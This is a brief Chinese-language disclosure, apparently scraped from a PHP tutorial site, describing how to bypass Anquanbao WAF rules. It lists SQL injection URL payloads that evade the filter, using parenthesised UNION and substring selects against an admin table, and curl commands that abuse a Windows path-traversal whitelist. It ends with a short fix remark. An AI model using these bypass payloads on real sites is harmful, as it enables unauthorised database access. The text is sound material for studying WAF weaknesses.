利用反向代理和真实执行环境的
1 对sql层面解析差异导致
2 对文件系统层面解析差异导致
地址均未编码
利用反向代理和真实执行环境的
1 对sql层面解析差异导致
2 对文件系统层面解析差异导致
1 对sql层面的解析差异导致
判断:
http://HdhCmsTestanquanbao测试数据/?id=1 and(1=1)
http://HdhCmsTestanquanbao测试数据/?id=1 and(1)=(1)
http://HdhCmsTestanquanbao测试数据/?id=1 and true
利用:
触发:http://HdhCmsTestanquanbao测试数据/?id=1 and '1'=(select substr(user,1,1) from admin limit 1)
绕过:http://HdhCmsTestanquanbao测试数据/?id=(1)and'r'=(select(substr(user,1,1))from admin limit 1)
触发:http://HdhCmsTestanquanbao测试数据/?id=1 union(select user from admin)
绕过:http://HdhCmsTestanquanbao测试数据/?id=(1)union(select(user)from admin)
2 对文件系统层面解析差异导致
主要利用的是windows和linux文件系统路径的差异
安全宝提供白名单功能,如果是win主机,则可以利用一个白名单项攻击网站任意页面。
这里白名单为/test/目录
触发:curl -v 'HdhCmsTestwtf.tk/Pages/Index. asp x?id=1+and+1=1'
绕过:curl -v 'HdhCmsTestwtf.tk/test/..\Pages/Index.aspx?id=1+and+1=1'
修复方案:
改进正则,应该是正则吧
'(?:and|or) \d+'这样的规则估计不敢上。。。
查看更多关于安全宝几个规则绕过 - 网站安全 - 自学php的详细内容...